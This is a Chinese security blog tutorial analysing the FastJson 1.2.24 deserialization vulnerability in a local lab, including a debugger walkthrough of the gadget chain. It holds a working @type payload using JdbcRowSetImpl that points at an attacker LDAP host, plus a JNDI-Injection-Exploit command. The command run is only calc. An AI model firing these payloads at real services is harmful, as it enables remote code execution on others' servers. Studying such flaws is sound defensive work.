点击上方蓝字·关注我们
由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。
一、前置知识
FastJson介绍
漏洞环境搭建
FastJson的简单使用
java对象解析为JSON字符串
JSON字符串解析为Java对象
反序列化漏洞成因
二、漏洞利用链分析
JNDI注入
poc复现
漏洞调试
三、总结
FastJson是由阿里巴巴工程师基于 JAVA 开发的一款 JSON 解析器和生成器,可用于将 Java 对象转换为其 JSON 表示形式,它还可以用于将 JSON 字符串转换为等效的 Java 对象。FastJson 可以处理任意 Java 对象,包括没有源代码的预先存在的对象
使用IDEA创建一个spring boot项目,类型选择Maven,我这里用的jdk版本是java8
点击下一步
这里是一些依赖选择,我们这里用不上,直接创建就好
等待项目加载完成后,在Maven 工程的 pom.xml 文件中引入以下依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
然后让Maven重新加载即可
把java对象解析为JSON字符串
在fastjson中把java对象解析为JSON字符串使用的方法是
-
toJSONString
我们先创建一个类用于数据转换
public class UserClass {
private String name;
private String gender;
public String getgender() {
return gender;
}
public String getName() {
return name;
}
public void setgender(String gender) {
this.gender = gender;
System.out.println(gender);
}
public void setName(String name) {
this.name = name;
System.out.println(name);
}
}
再使用fastjson把UserClass转换成json格式
UserClass userClass = new UserClass();
//实例化UserClass类赋值为userClass
userClass.setgender("man");
userClass.setName("caigo");
//设置参数值
System.out.println(userClass);
//打印toJSONString
String jsonString = JSONObject.toJSONString(userClass);
//使用toJSONString()方法对toJSONString进行格式转换
System.out.println("这就是json格式"+jsonString);
//打印转换后的JSON格式数据
我们在使用toJSONString()方法时可以在参数后面加上SerializerFeature.WriteClassName
,这个是阿里巴巴的FastJSON库中的一个序列化特性。它的作用是在JSON序列化过程中,将Java对象的类名写入JSON字符串中,加上这个参数可以让我们知道对象的具体类型,这个也和fastjson的反序列化漏洞产生有关,我们加上运行一下
String jsonString = JSONObject.toJSONString(userClass,SerializerFeature.WriteClassName);
System.out.println("这就是json格式"+jsonString);
这个返回的就是java对象的完整信息,也就是说这个信息它本来就有,只是默认它不会返回。
把JSON字符串解析为Java对象
在fastjson中把JSON 字符串解析为Java对象有两个方法
-
parse()
-
parseObject()
都是用于将 JSON 字符串解析为 Java 对象的方法,但它们有一些区别:
-
返回类型:
-
parse()方法返回的是 Object类型,需要手动进行类型转换。
-
parseObject()方法返回的是泛型 <T>,可以直接指定要解析的目标类型,无需手动转换。
-
用法:
-
parse()方法用于解析 JSON 字符串为任意类型的 Java 对象,需要手动将其转换为具体的对象类型。
-
parseObject()方法可以直接将 JSON 字符串解析为指定的 Java 对象类型。
-
错误处理:
-
parse()方法在解析失败时会抛出 JSONException异常。
-
parseObject()方法在解析失败时会返回 null。
-
参数:
-
parse()方法的参数为 JSON 字符串和目标类的 TypeReference。
-
parseObject() 方法的参数为 JSON 字符串和目标类的 Class。
我这里简单演示下
//要解析的json格式的数据
String data = "{"name":"caigo","gender":"man"}";
//使用parse()
Object jsondata = JSON.parse(data);
System.out.println(jsondata);
//使用parseObject()
JSONObject jsoncalssdata = JSON.parseObject(data);
System.out.println(jsoncalssdata);
这是正常解析数据,我们在前面把userclass对象进行数据转换的时候的结构不是带有"@type":"com.example.fastjsondemo.demos.web.UserClass"
这个嘛,我们把我们前面转换的json格式数据再转换为java对象
String data = "{"@type":"com.example.fastjsondemo.demos.web.UserClass","name":"caigo"}";
//要解析的json格式的数据
Object jsondata = JSON.parse(data,Feature.OrderedField);
System.out.println(jsondata);
可以正常转换,那么问题就来了,它这里的@type对应的值是它要进行数据转换的类,如果我们把这个类进行了修改,那么我们不就可以触发我们想要触发的类下面的方法嘛
重新创建一个执行命令的恶意类
public class Test {
private String cmd;
//成员变量
public void setCmd(String cmd) throws IOException {
//成员方法
Runtime.getRuntime().exec(cmd);
System.out.println("执行结束");
//作用是执行系统命令,执行的命令是我们传入的cmd参数
}
}
恶意类创建好之后,我们就要构造poc了
"{"@type":"com.example.fastjsondemo.demos.web.UserClass","name":"caigo"}"
这是它原本的,我们把类名和成员变量进行替换
"{"@type":"com.example.fastjsondemo.demos.web.Test","cmd":"calc"}"
cmd变量的参数就是我们要执行的命令
poc构造好之后,我们执行一下
成功执行了我们创建的恶意类。
但是这个Test类是我自己写的,在黑盒情况下对方网站存在这种恶意类的可能性微乎其微,就算有我们也不知道啊,所以我们要使用java自带的能执行我们想要功能的类,下面我们就来分析一下网上公开的漏洞复现poc
下面是网上公开的一个poc链子,这个是我随便找的,网上还有很多
"{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.139.1:1389/nppckz", "autoCommit":true}";
JNDI注入介绍
它这里使用的是JNDI注入,我这里简单解释一下,它有点类似于PHP中的远程文件包含,在php中我们可以通过包含远程文件来执行在服务器上的恶意php文件,执行里面的代码,这个就和远程文件包含类似,我们可以使用它去包含远程的恶意class文件,可以看下下面这个demo
public class jndi {
public static void main(String[] args) throws NamingException {
String url = "ldap://127.0.0.1:1389/Test";
//要加载的远程文件
InitialContext initialContext = new InitialContext();
//得到初始目录环境的一个引用
initialContext.lookup(url);
//获取指定的远程对象
}
}
这个是它的写法,关键词就是initialContext.lookup这个可以记一下,后面调试漏洞的时候会看到
这个内容有点多,感兴趣的自行去了解,我这里就不多说,我后续可能也会出一些JAVA的常见漏洞的基础文章
poc复现
我这里先复现一下漏洞,使用JNDI注入工具,生成一下恶意类,-C参数就是我们要执行的命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"
根据环境的jdk版本选择对应poc复制,执行运行代码
成功执行计算机命令,这里有个注意点,jdk版本过高会导致漏洞复现不超过,我这里使用的是java8_112
漏洞调试
我们开始漏洞调试分析,先下个断点
执行代码,我们开始调试
跳转到parse方法,参数text就是我们传入的数据,接着往下,前面大部分都是做数据处理的代码,慢慢跟
到这里进入第一个关键判断,它这里的key值是我们传入的@type,它判断key == JSON.DEFAULT_TYPE_KEY,下面可以看到JSON.DEFAULT_TYPE_KEY的值也是@type
它这里判断为type,会触发TypeUtils.loadClass方法,它这里有两个参数一个是typename,这个参数是我们传入的类名称,另外一个是它从别的地方获取的,我们接着往下跟,看下这个方法是做什么的
它这个方法中有个这个判断,这个在1.2.24中漏洞利用用不上,但是在fastjson1.2.25-1.2.41的反序列化触发上可以用上,用于绕过过滤,这里不细说。
这里是反序列化的触发点,跟进到getDeserializer类的构造方法里,都是一些if条件判断语句,最后调用createJavaBeanDeserializer方法
其实我们跟到getDeserializer这里就可以了,它反序列化操作具体的实现代码对于我们来说不是很重要,它这里的type就是我们传入的要反序列化的类
我们可以点击调试台下面的导航,跳转到我们反序列化触发的类中,在com.sun.rowset.JdbcRowSetImpl中存在一个setAutoCommit方法
这个方法会触发一个connect()方法,这条链子的关键点就在这个connect方法中,我们Ctrl+鼠标左键跳转到connect方法的定义
可以看到它这里有JNDI注入,参数是getDataSourceName(),我们查看一下
发现它是个成员变量,也就是我们可控,poc后面还有个autoCommit,这个是sql中自动提交数据的,设置为true就是开启自动提交,不然它执行不了,到这里这条链子就已经分析完了,其实整体链子跟下来,逻辑并不难,只是非常花时间,有很多对我们漏洞分析没啥用的代码,眼睛都要看花了,但是还是跟完了,可喜可贺
我这里总结一下这个漏洞触发的几个关键点
-
造成漏洞的方法是parse()、parseObject()
-
然后我们要对这两个方法传入的参数可控,加上@type让它加载我们指定的类
-
fastjson的最早版本它没有对我们传入的类进行判断,所以我们才可以传入一些可以执行恶意操作的并且是java自带的类,网上的poc不同,只不过是所使用的类不同罢了,共同点是都是java自带的类,具体使用哪个是看自己的需要
能理解上面三点的话,那么fastjson的反序列化漏洞也就学懂了
在fastjson后续的版本中都增加了黑名单限制,有的可以绕过黑名单限制,有的无法绕过,就只能寻找新的利用链,但是都是基于这个1.2.24版本,漏洞成因都是一样,只不过是要做绕过。
文章到这里就结束了,断更了挺久的,主要是懒,但是作为一头与时俱进的菜狗,每天都在努力提升自己,学习新的知识,并且把学到的知识进行消化,写成文章分享给大家,文章中如果有描述不当的地方也希望各位大佬指正,共勉!
都看到这里点个关注呗!
原文始发于微信公众号(菜狗安全):JAVA安全-FastJson1.2.24反序列化漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论